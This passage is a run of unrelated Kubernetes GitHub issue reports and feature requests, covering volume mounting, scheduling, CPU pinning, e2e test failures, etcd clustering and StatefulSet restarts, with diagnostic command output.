admission and try to debug its failure reason.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i am trying to run prometheus server on kubernetes cluster  windows nodes using azure container service . i have created a prometheus service windows container image with kubernetes configurations and deployed it in a pod. when i start the prometheus server in powershell inside that pod, i get following errors:\r ! image  https://user-images.githubusercontent.com/9897945/30275134-bffad38c-9719-11e7-9534-728bb475dbc2.png \r \r if i go to the directory \ c:/var/run/secrets/kubernetes.io/serviceaccount\  i can see ca.crt and token. but if i do \ get-content ca.crt\  then i get the following error:\r ! image  https://user-images.githubusercontent.com/9897945/30275263-338ab6d2-971a-11e7-9726-291c08757f7f.png \r \r \r   what you expected to happen  :\r the prometheus server should be able to access the ca.crt and token. and also get-content ca.crt should output the file contents.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. deploy windows container and try to use the ca.crt and token.\r \r   anything else we need to know?  :\r \r   environment  :  \r kubernetes with windows worker nodes\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  : \r azure container service\r - os  e.g. from /etc/os-release :\r master node os: linux\r worker nodes os: windows server\r - kernel  e.g.  uname -a  :\r linux master: \r  linux k8s-master-ead988d1-0 4.4.0-93-generic  116-ubuntu smp fri aug 11 21:17:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

kube 1.8 release was delayed because of an issue that was observed only on el-based distributions like fedora/centos/rhel.\r \r https://github.com/kubernetes/kubernetes/issues/52110\r \r as discussed in that issue, we need to get a release blocking test that runs the node e2e tests on an el-based distribution to prevent issues like this from sneaking up on us in the future.\r \r @smarterclayton @derekwaynecarr @ingvagabund \r \r  

is this a bug report or feature request?  :\r \r   \r   what happened  :\r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/csi/csi_attacher.go\r csi volume plugin use polling api-server,it is inefficient\r \r   what you expected to happen  :\r should use api-server watch\r \r \r

   /cc @caesarxuchao \r /cc @maciekpytel\r \r the scheduler extender configuration element  bindverb  does not have a json tag. the scheduler extender configuration must be in json format, iirc.\r https://github.com/kubernetes/kubernetes/blob/d2b954eaf83afefad8ff2d80ea27bf86b056b80b/pkg/scheduler/api/v1/types.go l150-l153\r \r and no custom marshallers exists for this field. i think this is a bug that should be fixed.\r \r in addition, https://github.com/kubernetes/kubernetes/pull/65157 was merged into release-1.10 and released with 1.10.5. this pr seems  ?  to change the decoder to ignore the fields that do not have json tags, causing the scheduler extender mechanism to be broken.

based on discussion with @bgrant0607   problem: deployment.spec.selector is used to select old pods  which are scaled down  and is also used as the selector for the new rc  that is scaled up . hence labels on both old and new pods must match deployment.spec.selector. as a result, it is not possible to change the value of a label that is part of deployment.spec.selector. it is however possible to add a label to the new pod.  possible solution: introduce objectref to keep track of parent objects  rcs will ref to deployments  and allow rcs to be orphaned. users get to choose what to do with orphaned rcs - they can be left as is or can be scaled down and deleted. when user wants to change a label value, they change deploymentspec.selector to match the new pod labels, so that deployment creates a new rc and scales it up. a different controller will handle orphanedrcs  rc is orphaned if it points to a deployment via its objectref, but the deployment's selector does not target that rc .  @ghodss @ironcladlou @smarterclayton

background: k8s often has problems attaching/detaching aws volumes: if i do a  kubectl replace  on a deployment, i frequently observe k8s not correctly detaching the volume, and the new deployment will be forever stuck in a crash loop because it times out getting the new volume. seems like a race condition. the steps i always do when this happens is to delete the deployment, manually force-detach via ec2 api, and manually  umount  the mounts, otherwise they never seem to be cleaned up.  so today i experienced this again, and i did the following: 1. delete deployment. 2. manually detach volume via ec2 api, since it was not being released. 3.   manually  umount  wrong volume  . i accidentally unmounted the volume of a different pod because i didn't read the  mount  output correctly. oops. 4. created deployment. 5. noticed my mistake.  what happened was that the new deployment was mounted with the wrong device:      shell $ mount | grep xvdb /dev/xvdba on /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/vol-0e3bf8343563ee5aa type ext4  rw,relatime,data=ordered  /dev/xvdba on /var/lib/kubelet/pods/a8f54bf6-4ebd-11e6-89fc-065b459e106f/volumes/kubernetes.io~aws-ebs/data type ext4  rw,relatime,data=ordered       this is the right volume _id_, but it has mounted the wrong device. according to ec2, the  right  volume is attached to  /dev/xvdbb .      shell $ aws ec2 describe-volumes --volume-ids vol-0e3bf8343563ee5aa {     \ volumes\ :           {             \ availabilityzone\ : \ us-east-1e\ ,              \ attachments\ :                   {                     \ attachtime\ : \ 2016-07-20t21:05:17.000z\ ,                      \ instanceid\ : \ i-06d03923e9e5a6329\ ,                      \ volumeid\ : \ vol-0e3bf8343563ee5aa\ ,                      \ state\ : \ attached\ ,                      \ deleteontermination\ : false,                      \ device\ : \ /dev/xvdbb\                  }              ,              \ tags\ :   ,             \ encrypted\ : false,              \ volumetype\ : \ gp2\ ,              \ volumeid\ : \ vol-0e3bf8343563ee5aa\ ,              \ state\ : \ in-use\ ,              \ iops\ : 100,              \ snapshotid\ : \ \ ,              \ createtime\ : \ 2016-07-19t00:25:00.168z\ ,              \ size\ : 30         }       }       /dev/xvdba  is the volume i accidentally unmounted by mistake:      javascript             // ...             \ attachments\ :                   {                     \ attachtime\ : \ 2016-07-19t17:56:27.000z\ ,                      \ instanceid\ : \ i-06d03923e9e5a6329\ ,                      \ volumeid\ : \ vol-0e0a13f1b3a4a6dbc\ ,                      \ state\ : \ attached\ ,                      \ deleteontermination\ : false,                      \ device\ : \ /dev/xvdba\                  }              ,       so it's mounting the wrong volume into the pod.  of course i was being naughty, but it seems to me that this should never happen, since ec2 has already allocated  xvdbb ?   here's  https://gist.github.com/atombender/a1c8199ed202c2ea0d6b4566db65c60b  the entire kcm output from this fiasco.

we're continuing to observe 5-10% failure rates in creating pods, with them hanging in  containercreating  state. these are 2-container pods with an  poststart  lifecycle hook, but i don't believe that's implicated here  no problems in the  kubelet.log  . one other detail here is that pods stuck in  containercreating  do not appear to respond to a default  delete  command  but do terminate with the  --now  flag or otherwise specifying a 0 second timeout .  we've run into this issue across various 1.3.x versions, including 1.3.4.   the only observable issue in  kubelet.log   this taken from an install using  kube-aws  and k8s  1.3.4   is repeated remounting of the secrets volume  on i believe the dns pod :      aug 04 00:26:43 ip-172-20-0-7.ec2.internal kubelet-wrapper 1469 : i0804 00:26:43.157398    1469 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/dc220eac-59d4-11e6-823f-12cddf49f625-default-token-0bpst\   spec.name: \ default-token-0bpst\   to pod \ dc220eac-59d4-11e6-823f-12cddf49f625\   uid: \ dc220eac-59d4-11e6-823f-12cddf49f625\  . volume is already mounted to pod, but remount was requested. aug 04 00:26:43 ip-172-20-0-7.ec2.internal kubelet-wrapper 1469 : i0804 00:26:43.159847    1469 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/dc220eac-59d4-11e6-823f-12cddf49f625-default-token-0bpst\   spec.name: \ default-token-0bpst\   pod \ dc220eac-59d4-11e6-823f-12cddf49f625\   uid: \ dc220eac-59d4-11e6-823f-12cddf49f625\  . aug 04 00:27:11 ip-172-20-0-7.ec2.internal kubelet-wrapper 1469 : i0804 00:27:11.218422    1469 reconciler.go:254  mountvolume operation started for volume \ kubernetes.io/secret/dc2248b4-59d4-11e6-823f-12cddf49f625-default-token-0bpst\   spec.name: \ default-token-0bpst\   to pod \ dc2248b4-59d4-11e6-823f-12cddf49f625\   uid: \ dc2248b4-59d4-11e6-823f-12cddf49f625\  . volume is already mounted to pod, but remount was requested. aug 04 00:27:11 ip-172-20-0-7.ec2.internal kubelet-wrapper 1469 : i0804 00:27:11.221004    1469 operation_executor.go:740  mountvolume.setup succeeded for volume \ kubernetes.io/secret/dc2248b4-59d4-11e6-823f-12cddf49f625-default-token-0bpst\   spec.name: \ default-token-0bpst\   pod \ dc2248b4-59d4-11e6-823f-12cddf49f625\   uid: \ dc2248b4-59d4-11e6-823f-12cddf49f625\  .      any suggestions for further debugging here? this is likely related to https://github.com/kubernetes/kubernetes/issues/29059 and the other referenced issues there.  for our use case  spinning up containers on demand for users , this is quite a nasty bug because it occasionally fails to spin up a container in a reasonable timeframe and also requires using a hard kill.

we'd like to deprecate alpha provisioning in 1.6. in order to make current deployments working after upgrade to 1.6 we need to deploy a default storageclass as part of installation/upgrade on vsphere so it will automatically provision volumes for pvcs marked with annotation  volume.alpha.kubernetes.io/storage-class  - the annotation will be ignored and default storage class must provision the volume instead.\r \r on gce and aws, we use addon manager to install the default storage class, see https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/storage-class. note that some extra code was needed in aws and gce installers to actually put the storage class into addons directory during installation, e.g. https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/container-linux/configure-helper.sh l1129 \r \r please make sure that:\r   a default storageclass is deployed during \ default\  installation.\r     it would be nice if admin could turn this off during installation  e.g.  as  export enable_default_storage_class=false  on gce \r   if any additional manual steps are needed to deploy the default storage class make sure they're documented in appropriate installation guide.\r

deamonset would not schedule pod on nodes of outofdisk state,on the other hand, in it's updatenode func, it return directly if there is no change in labels or taints of the node.\r that is, ds controller could not make sense when a node turn into outofdisk state, or recover from it. unless we restart the controller-manager component\r

failure clusters: https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&test=should%20allow%20an%20eviction\r \r most likely  cluster  https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&test=should%20allow%20an%20eviction 63a36434077ff31ae29e  causing flakiness:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:363\r expected error:\r     < errors.errorstring | 0xc420179330>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:247\r    \r \r  / \r @kubernetes/sig-scheduling-test-failures \r /assign @timothysc @davidopp \r \r sig leads, please  /assign  someone to investigate and  /unassign  yourself. \r if this failure is more appropriate for another sig please    and  /sig-remove scheduling

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r checkpointnotfounderror has been completely removed by https://github.com/kubernetes/kubernetes/pull/55641\r but getpodportmappings method was not updated to return nil, when a checkpoint was not available.\r \r   what happened  :\r the cni network  that is done for the shared containers only for windows  call would fail in this case, which is breaking cni in windows.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r for  allowedhostpath , the white list would allow any pod to have the path mounted to pods. there're no limitations on the path. it means that any pod can read/write data to the host path. for regular log path, it can be accepted. for corner case that the path have corp root ca files or this kind of file , it is a risk to have every pod to have write access.\r \r   what you expected to happen  :\r it would be like host path can be defined as  readonly  or not. for readonly host paths, all pods which have write mount requests are rejected as  not allow to mount readonly path as writable . for none-readonly white list, the paths can be mounted as usual.\r \r /cc @kubernetes/sig-auth-feature-requests

failure cluster  b3bcbd6b97e13abc7051  https://go.k8s.io/triage b3bcbd6b97e13abc7051        error text:     error creating cluster: error during gcloud container clusters create --quiet --project=k8s-e2e-gke-prod-smoke --zone=us-central1-f --machine-type=n1-standard-2 --image-type=gci --num-nodes=3 --network=bootstrap-e2e --cluster-version=1.10.0-alpha.1.521+bd4d511a40e142 bootstrap-e2e: exit status 1           failure cluster statistics: 1 tests failed,    19 jobs failed,    94 builds failed. failure stats cover 1 day time range '13 jan 2018 03:01 utc' to '14 jan 2018 03:01 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | up | 19 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-updown | 17 |  14 jan 2018 02:51 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-updown/30508  | | ci-kubernetes-e2e-gke-stackdriver | 15 |  14 jan 2018 02:54 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-stackdriver/16995  | | ci-kubernetes-e2e-gke-sd-logging-gci-latest | 13 |  14 jan 2018 02:28 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-sd-logging-gci-latest/208  |   current status  https://go.k8s.io/triage b3bcbd6b97e13abc7051

hello , i have a problem.i made the following error while referencing the official iscsi.yaml file to store the connection through k8s and iscsi.  \r \r firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t-------\r   37s\t\t37s\t\t1\t{default-scheduler }\t\t\tnormal\t\tscheduled\tsuccessfully assigned iscsipd to k8s-node-2\r   28s\t\t8s\t\t3\t{kubelet k8s-node-2}\t\t\twarning\t\tfailedmount\tmountvolume.setup failed for volume \ kubernetes.io/iscsi/24332670-3c99-11e8-a882-0050568a4944-iscsipd-rw\   spec.name: \ iscsipd-rw\   pod \ 24332670-3c99-11e8-a882-0050568a4944\   uid: \ 24332670-3c99-11e8-a882-0050568a4944\   with: failed to get any path for iscsi disk\r \r   here's my configuration.  \r apiversion: v1\r kind: pod\r metadata:\r   name: iscsipd\r spec:\r   containers:\r   - name: iscsipd-rw\r     image: kubernetes/pause\r     volumemounts:\r     - mountpath: \ /mnt/\ \r       name: iscsipd-rw\r   volumes:\r   - name: iscsipd-rw\r     iscsi:\r       targetportal: 126.251.1.2:3260\r       portals:  '126.251.1.3:3260', '126.251.1.4:3260' \r       iqn: iqn.2014-10.com.xxx:storage-test\r       lun: 0\r       fstype: ext4\r       readonly: true\r \r   my store ip address is no problem, because your profile does not have any instructions, i now some confusion, there seems to be no similar case to search on the net, please give me some guidance, thank you very much.  \r \r  root@k8s-master kubermange   iscsiadm -m discovery -t st -p 126.251.1.2\r 126.251.1.2:3260,1 iqn.2014-10.com.xxxxxx:storage-test\r  root@k8s-master kubermange   iscsiadm -m discovery -t st -p 126.251.1.3\r 126.251.1.3:3260,1 iqn.2014-10.com.xxxxxx:storage-test\r  root@k8s-master kubermange   iscsiadm -m discovery -t st -p 126.251.1.4\r 126.251.1.4:3260,1 iqn.2014-10.com.xxxxxx:storage-test

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r this morning at 3pm utc two nlbs simultaneously flagged member nodes of their targetgroups as unhealthy and have not recovered. both nlbs were targeting the same nodes on different ports.\r \r - when creating a elb pointing at the same node port health checks and requests are successful.\r - when creating a new nlb with a new tg pointing at the same node ports also fails health checks.\r \r   what you expected to happen  :\r \r it is expected that nlbs would maintain health checks against all nodes in tg.\r it is expected that failures would eventually recover.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r this has not been reproduced locally.\r \r   anything else we need to know?  :\r \r the nlbs were up for less than 24 hours before failing. during that time individual node health checks were failing periodically.\r \r ! screen shot 2018-10-05 at 1 26 15 pm  https://user-images.githubusercontent.com/1039324/46555973-63d59900-c8a2-11e8-82d9-9c025ae1119d.png \r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.10.5\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : 4.4.121-k8s\r - install tools: kops 1.10.0\r - others:

\r \r  \r \r   what happened  :\r \r i wanted to point out some issues that i've encountered with the cpu-manager.\r \r when starting a pod with pinned cpus, makes the cpu-manager to pin it's container to specific cpus.\r \r  /sys/fs/cgroup/cpuset/cpuset.cpus: 1,2 \r \r however, if one starts another pod with a non-pinned cpus, the cpu-manager doesn't exclude the already assigned cpu and lets the pod run on __all__ available cpus.\r \r  /sys/fs/cgroup/cpuset/cpuset.cpus: 0-3 \r \r similar behavior takes place when a non-pinned workload is already running on a node. cpu-manager will allow this workload to run on a pod with pinned cpus as well.\r \r \r   what you expected to happen  :\r my expectation was that workloads with \ guaranteed\  cpus will be pinned and get \ dedicated\  cpus.\r i'd like to get a clarification about whether this is expected behavior or is it an issue that should be resolved?\r \r  

process for bringing up an etcd cluster in a petset  minimal requirements .  some discussion of races and inconsistencies. - https://coreos.com/etcd/docs/latest/clustering.html - https://coreos.com/etcd/docs/latest/runtime-configuration.html      initialization  option1  1. decide on a unique  --initial-cluster-token  and ensure that will be every pod as an env var  could be the petset uid or a simple parameter value  2. create all pods and unique pvs for each 3. wait for all endpoints to be reachable to reflect all pods  requires we either know the quorum size, or know that the pet set has reached desired size .  pods won't be ready, so we need to wait for ready+unready endpoints to == quorum size 4. etcd process starts with the initial bootstrap args  knowing what other members are in the set   after this, no dynamic reconfiguration is allowed.      initialization  option2  1. decide on a unique  --initial-cluster-token  and ensure that will be every pod as an env var  could be the petset uid or a simple parameter value  2. have the pod that gets identity \ 1\   or \ master\ , or \ first\   create a new cluster 3. have a control loop  babysitter / etc  running with pod identity 1 that tries to keep the cluster membership up to date with the endpoints list in etcd.  this allows dynamic reconfiguration, but is subject to duplicate instances of the babysitter running  discussed below .  it is possible to write the babysitter so that cluster membership always moves forward, but not possible to guarantee that two babysitters aren't running at the same time.      dealing with duplicate members without pv to act as a lock  it is possible that a kubelet becomes isolated from the cluster while running member 1 of a 3 pod set, and etcd is not configured to use pv  which acts as a form of lock in some cases .  the node controller detects that the kubelet is dead and triggers deletion of those pods.  after graceful deletion elapses, a new pod with member 3 will be created.  at this point, there are potentially two member-1's running.  in option2 above, there could be two control loops running at the same time, and different pods could also see different endpoint versions  so the separated pod could see the older endpoint list .  in option1 above, the kubelet could get isolated during initialization, and two instances of member-1 could be started.  both would initialize, and the control loops in each would try to acquire members.  if sufficiently large numbers of nodes experienced partition, both sides could think they had a quorum.  the resolution is to require the babysitters to make a write to the master api in a way that collapses one side or the other  such as writing to the endpoints .      upgrade  normal  1. are all members healthy with a quorum? 2. backup each member pv 3. ensure clean shutdown of members on old version up to  floor n / 2  , to leave a quorum running 4. start a new pod with the same pv as the old pod  during upgrade the same membership problems become possible as during initialization.  as long as the set has a quorum, it can police it's own membership, but a disruptive event during upgrade that disables quorum means that the babysitters would have to write to the master api in a similar way as during initialization.      upgrade  disaster   in a disaster scenario, a majority of the pvs in the etcd cluster are lost.  no quorum is possible, but again a babysitter can rely on the external master api to resolve leadership for a period of time and reestablish quorum and ensure that the new members join the appropriate quorum.      thoughts  even though etcd has its own consistent mechanism for managing membership, that requires a quorum.  since the babysitter is itself potentially distributed, it must obtain a lease / lock to change membership in a strongly consistent fashion.  only membership changes  pod creation / deletion, endpoint changes  require the babysitter to act in this fashion.  the remainder of the time, etcd can manage its own quorum state.  if membership changes are relatively rare, there could be advantages to viewing the babysitter as a \ cluster change hook\ .  the babysitter could be a run-once pod with a long duration grace period  lease, effectively  that is invoked on cluster membership changes, and the name of the pod could act as the lease  since writes to the master api are strongly consistent .  if the node running the babysitter goes down, it's possible to break the lock by deleting the pod forcefully with the corresponding lack of control over the outcome of any code still running in the pod.  a one shot pod on membership changes has some advantages - limited resource consumption for the stability of the pod, easier potentially to reason about.

i create a pod pod-a who export a port to host, and specify the hostip this port to bound with,  then manually scheduled it to node-a. since a node-a could have multiple ip, so i expected other pod who claim the same port to expose but bind to a different ip can also be scheduled to node-a. however,  podfitshostports  just take port into account, without considering the ip. seems it is a bug?\r \r  @davidopp

currently, the openstack installation method assigns a floating ip to every single worker node. while this is fine for smaller clusters with a good sized ip pool, it can cause issues in environments with high node counts or less ips available.\r \r an environment variable such as  $assign_minions_floating_ip  could be use to configure whether or not minions are assigned an ip. it should not disable the floating ip for the master node, as most people will want to use that to communicate with the api server.

is this a bug report or feature request?    choose one :\r bug\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.3.1185+7e37b895d7c1e9-dirty\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.3.1185+7e37b895d7c1e9-dirty\ \r \r \r   what happened  :\r kubectl is always reporting as node <xyz> is tainted irrespective of operation when used with local cluster.\r ./kubectl.sh taint nodes xyz dedicated-\r \r node \ xyz\    tainted  \r \r \r   what you expected to happen  :\r it should have shown exact operation like tainted, untainted modified and overwritten but because of https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/taint.go l343. it is always returning tainted.\r \r   how to reproduce it    as minimally and precisely as possible :\r ./kubectl.sh taint nodes xyz dedicated-\r \r \r \r

failure cluster  2c8663cd863e7f75b087  https://go.k8s.io/triage 2c8663cd863e7f75b087        error text:     error: 2 leaked resources   instance-templates   +bootstrap-e2e-minion-template-v1-6-4-beta-0-12-22e978bc9b20de  n1-standard-2               2017-05-13t13:28:01.977-07:00   disks   +bootstrap-e2e-764518e3-3819-11e7-8868-0242ac110002              us-central1-f  10       pd-ssd       ready           failure cluster statistics: 1 tests failed,    2 jobs failed,    66 builds failed. failure stats cover 1 day time range '14 may 2017 20:07 utc' to '15 may 2017 20:07 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | diffresources | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-1.6-1.5-downgrade-cluster | 64 |  15 may 2017 19:33 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.6-1.5-downgrade-cluster/2840  | | ci-kubernetes-e2e-gce-latest-upgrade-cluster | 2 |  15 may 2017 03:53 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-latest-upgrade-cluster/1926  |   current status  https://go.k8s.io/triage 2c8663cd863e7f75b087

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r this issue is to track work to convert test/images/volumes-tester to multi architecture.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r a couple of  dynamicprovisioner  tests the the  slow  gke and gce suites have been consistently failing since yesterday. see  testgrid  https://k8s-testgrid.appspot.com/google-gke gci-gke-slow&include-filter-by-regex=dynamicprovisioner \r \r   what you expected to happen  :\r tests should pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r look at failing tests.\r \r   anything else we need to know?  :\r the failing tests correspond to the merge of https://github.com/kubernetes/kubernetes/pull/52350\r \r cc @wongma7 @kubernetes/sig-storage-test-failures @kubernetes/sig-storage-bugs \r

 @kubernetes/sig-api-machinery-bugs\r   what happened  :\r the problem that i am facing is that i have several statefulsets created in minikube each with one pod.\r \r sometimes when i start up minikube my pods will start up initially then keep being restarted by kubernetes. they will go from the creating container state, to running, to terminating over and over.\r \r i've seen kubernetes kill and restart things before if kubernetes detects disk pressure, memory pressure, or some other condition like that, but that's not the case here as these flags are not raised and the only message in the pod's event log is \ need to kill pod\ . it seems that the statefulset controller has decided that these pods need to be killed and then statrted again.\r \r   what you expected to happen  :\r for the pods in my statefulsets to not get restarted continuously or to see some event or error describing why they are being restarted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r this issue doesn't happen all the time, and i'm not sure how to trigger it. my minikube setup will work for a week or more without this happening then one day i'll start minikube up and the pods for my statefulsets just keep restarting. once it enters this state restarting minikube doesn't seem to help. so far the only workaround i've found is to delete my minikube instance and set it up again from scratch.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.0\r - others: minikube version 0.24.1\r \r for reference here's the output describing one of these statefulsets and associated pod, a simple mongodb setup. a similar pattern is occurring with the other statefulsets in my environment.\r \r    \r $ kubectl describe pods mongo-0 --namespace=storage\r name:                      mongo-0\r namespace:                 storage\r node:                      minikube/192.168.99.100\r start time:                tue, 16 jan 2018 10:53:14 -0600\r labels:                    controller-revision-hash=mongo-68bd5cbcc6\r                            environment=test\r                            role=mongo\r annotations:               kubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ statefulset\ ,\ namespace\ :\ storage\ ,\ name\ :\ mongo\ ,\ uid\ :\ e669069e-f4c0-11e7-a00a-080027392d96\ ,\ api...\r status:                    terminating  expires tue, 16 jan 2018 10:53:26 -0600 \r termination grace period:  10s\r ip:                        \r created by:                statefulset/mongo\r controlled by:             statefulset/mongo\r containers:\r   mongo:\r     container id:  docker://9f16b231406f8f4240aa340d4c10426251776fc9956f3e0a673ea9bf8680895b\r     image:         mongo:3.4.10-jessie\r     image id:      docker-pullable://mongo@sha256:38829565a5781afeecb287a6a2da6535396712718a63a4e2dcc7f006a0611cd7\r     port:          27017/tcp\r     command:\r       mongod\r       --replset\r       rs0\r       --smallfiles\r       --noprealloc\r     state:          terminated\r       reason:       completed\r       exit code:    0\r       started:      tue, 16 jan 2018 10:53:15 -0600\r       finished:     tue, 16 jan 2018 10:53:18 -0600\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /data/db from mongo-persistent-storage  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-ppwsr  ro \r   mongo-sidecar:\r     container id:   docker://e4612c7539b51e7870b21d22a99f60644e9db74accf95434f57bb9ba95630b3b\r     image:          cvallance/mongo-k8s-sidecar\r     image id:       docker-pullable://cvallance/mongo-k8s-sidecar@sha256:18bfa104f5966fc530f41135d768e7a703dc2361ec5ea4e02d10dd44803cd4c5\r     port:           <none>\r     state:          terminated\r       reason:       error\r       exit code:    137\r       started:      tue, 16 jan 2018 10:53:16 -0600\r       finished:     tue, 16 jan 2018 10:53:27 -0600\r     ready:          false\r     restart count:  0\r     environment:\r       mongo_sidecar_pod_labels:       role=mongo,environment=test\r       kubernetes_mongo_service_name:  mongo\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-ppwsr  ro \r conditions:\r   type           status\r   initialized    true \r   ready          false \r   podscheduled   true \r volumes:\r   mongo-persistent-storage:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  mongo-persistent-storage-mongo-0\r     readonly:   false\r   default-token-ppwsr:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-ppwsr\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     <none>\r events:\r   type    reason                 age   from               message\r   ----    ------                 ----  ----               -------\r   normal  scheduled              58s   default-scheduler  successfully assigned mongo-0 to minikube\r   normal  successfulmountvolume  58s   kubelet, minikube  mountvolume.setup succeeded for volume \ pvc-e66a0934-f4c0-11e7-a00a-080027392d96\ \r   normal  successfulmountvolume  58s   kubelet, minikube  mountvolume.setup succeeded for volume \ default-token-ppwsr\ \r   normal  pulled                 58s   kubelet, minikube  container image \ mongo:3.4.10-jessie\  already present on machine\r   normal  created                58s   kubelet, minikube  created container\r   normal  started                57s   kubelet, minikube  started container\r   normal  pulling                57s   kubelet, minikube  pulling image \ cvallance/mongo-k8s-sidecar\ \r   normal  pulled                 56s   kubelet, minikube  successfully pulled image \ cvallance/mongo-k8s-sidecar\ \r   normal  created                56s   kubelet, minikube  created container\r   normal  started                56s   kubelet, minikube  started container\r   normal  killing                54s   kubelet, minikube  killing container with id docker://mongo:need to kill pod\r   normal  killing                45s   kubelet, minikube  killing container with id docker://mongo-sidecar:need to kill pod\r \r \r $ kubectl describe statefulsets mongo --namespace=storage\r name:               mongo\r namespace:          storage\r creationtimestamp:  